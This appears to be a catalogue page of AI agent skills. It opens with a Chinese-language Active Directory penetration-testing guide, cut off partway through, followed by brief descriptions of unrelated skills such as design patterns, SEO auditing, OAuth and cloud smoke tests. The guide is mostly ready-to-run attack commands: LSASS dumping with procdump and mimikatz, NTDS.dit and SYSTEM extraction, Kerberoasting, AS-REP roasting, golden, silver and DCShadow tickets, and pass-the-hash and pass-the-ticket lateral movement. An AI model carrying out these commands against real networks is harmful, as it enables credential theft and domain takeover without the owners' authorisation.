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Active Directory 攻击
active-directory-attacks
Active Directory 渗透测试技术指南 ## 信息收集 ### 域基础信息 - `nltest /domain_trusts` - 查看域信任关系 - `net view /domain` - 枚举域列表 - `nslookup -type=SRV _ldap._tcp.dc._msdcs.<domain>` - 定位域控制器 ### BloodHound 资产发现 ```powershell # SharpHound 数据收集 Invoke-BloodHound -CollectionMethod All -Domain target.com -ZipFileName loot.zip ``` ### LDAP 查询 ```powershell # 查找域管账户 ([adsisearcher]"(&(objectCategory=person)(objectClass=user)(adminCount=1))").FindAll() # 查找非约束委派的服务账户 Get-ADObject -LDAPFilter "(&(userAccountControl:1.2.840.113556.1.4.803:=524288)(samAccountType=805306368))" ``` ## 凭据获取 ### LSASS 内存提取 ```powershell # procdump + mimikatz 离线解析 procdump.exe -accepteula -ma lsass.exe lsass.dmp sekurlsa::minidump lsass.dmp sekurlsa::logonPasswords full ``` ### SAM/NTDS.dit 提取 ```powershell # Volume Shadow Copy 方式 vssadmin create shadow /for=C: copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\loot\ copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\loot\ # ntdsutil 官方工具 ntdsutil "ac i ntds" "ifm" "create full c:\loot" q q ``` ### Kerberoasting ```powershell # 请求 SPN 服务票据 Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/sql01.target.com:1433" # Rubeus 自动化 Rubeus.exe kerberoast /outfile:hashes.txt ``` ## Kerberos 攻击 ### AS-REP Roasting ```powershell # 查找 "Do not require Kerberos preauthentication" 账户 Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth # Rubeus 攻击 Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt ``` ### Golden Ticket ```powershell # 需要 krbtgt 账户的 NTLM hash mimikatz # lsadump::dcsync /domain:target.com /user:krbtgt mimikatz # kerberos::golden /user:Administrator /domain:target.com /sid:S-1-5-21-... /krbtgt:hash /ptt ``` ### Silver Ticket ```powershell # 针对特定服务,需要服务账户 NTLM hash mimikatz # kerberos::golden /user:fakeuser /domain:target.com /sid:S-1-5-21-... /target:sql01.target.com /service:MSSQLSvc /rc4:servicehash /ptt ``` ### DCShadow ```powershell # 需要域管权限,注册伪造 DC mimikatz # lsadump::dcshadow /object:targetuser /attribute:Description /value:"backdoor" ``` ## 横向移动 ### Pass-the-Hash ```powershell # mimikatz sekurlsa::pth /user:admin /domain:target.com /ntlm:hash /run:powershell.exe # Invoke-WMIExec Invoke-WMIExec -Target dc01.target.com -Username admin -Hash hash -Command "powershell -enc ..." ``` ### Over-Pass-the-Hash ```powershell # 获取 TGT 后使用正常 Kerberos 认证 Rubeus.exe asktgt /user:admin /rc4:hash /ptt ``` ### Pass-the-Ticket ```powershell # 导出票据后注入 mimikatz # sekurlsa::tickets /export mimikatz # kerberos::ptt [0;123456]-0-0-40810000-admin@krbtgt-target.com.kirbi ``` ### 约束委派滥用 ```powershell # 配置 S4U2Self + S4U2Proxy Rubeus.exe s4u /user:svc_account /rc4:hash /impersonateuser:admin /msdsspn:cifs/target.target.com /ptt ``` ### 基于资源的约束委派 (RBCD
安全与治理 / 审核评估
provider-pattern
provider-pattern
Teaches the provider pattern for sharing data across component trees. Use when multiple nested components need access to the same data and prop drilling…
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flyweight-pattern
flyweight-pattern
Teaches the flyweight pattern for memory optimization. Use when your application creates large numbers of similar objects and memory consumption is a concern.
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roier-seo
roier-seo
Technical SEO auditor and fixer. Runs Lighthouse/PageSpeed audits on websites or local dev servers, analyzes SEO/performance/accessibility scores, and…
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AWS Clean Rooms
aws-cleanrooms
排查和调试 AWS Clean Rooms 协作问题,涉及 IAM 角色、S3 存储桶策略、KMS 密钥、Lake Formation 权限和 CloudWatch…
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oauth-implementation
oauth-implementation
Guidelines for implementing OAuth 2.0 and OAuth 2.1 authentication flows with security best practices and PKCE
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reddit-thread-analyzer
reddit-thread-analyzer
Analyze Reddit threads for sentiment, consensus opinions, top arguments, and discussion patterns. Use this when users want to understand Reddit community…
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jira
jira
Jira integration. Manage project management and ticketing data, records, and workflows. Use when the user wants to interact with Jira data.
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git-troubleshooting
git-troubleshooting
Git troubleshooting techniques including recovering lost commits, fixing merge conflicts, resolving detached HEAD, and diagnosing repository issues. Use when…
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阿里云安全-KMS测试
alicloud-security-kms-test
KMS 技能的最小化冒烟测试。验证认证和只读密钥列表路径。
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阿里云可观测性-SLS日志查询测试
alicloud-observability-sls-log-query-test
SLS 日志查询技能的极简冒烟测试。验证 SDK 认证和单次有界查询。
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alicloud-ai-misc-crawl-and-skill-test
alicloud-ai-misc-crawl-and-skill-test
最小化验证爬取与技能工作流的就绪状态。
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alicloud-network-dns-cli-test
alicloud-network-dns-cli-test
阿里云 DNS CLI 技能的最小化冒烟测试。验证 aliyun-cli 认证和 describe-subdomain 流程。
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clerk-authentication
clerk-authentication
Guidelines for implementing Clerk authentication in Next.js applications with middleware, hooks, and security best practices
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azure-functions
azure-functions
Create serverless functions on Azure with triggers, bindings, authentication, and monitoring. Use for event-driven computing without managing infrastructure.
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agent-skills-creator
agent-skills-creator
指导创建遵循开放格式规范的最佳实践智能体技能。涵盖前置元数据、目录结构、渐进式披露、…
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getnote-auth
getnote-auth
Manage authentication for Get笔记 CLI
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无障碍访问
accessibility
审核并改进网页无障碍性,遵循 WCAG 2.1 指南。用于响应"改进无障碍性"、"a11y 审计"、"WCAG 合规"、"屏幕阅读器…"等请求时。
安全与治理 / 审核评估
load-issues
load-issues
Load all open issues from GitHub and save them as markdown files
安全与治理 / 审核评估
getnote-search
getnote-search
Semantic search across notes in Get笔记 via the getnote CLI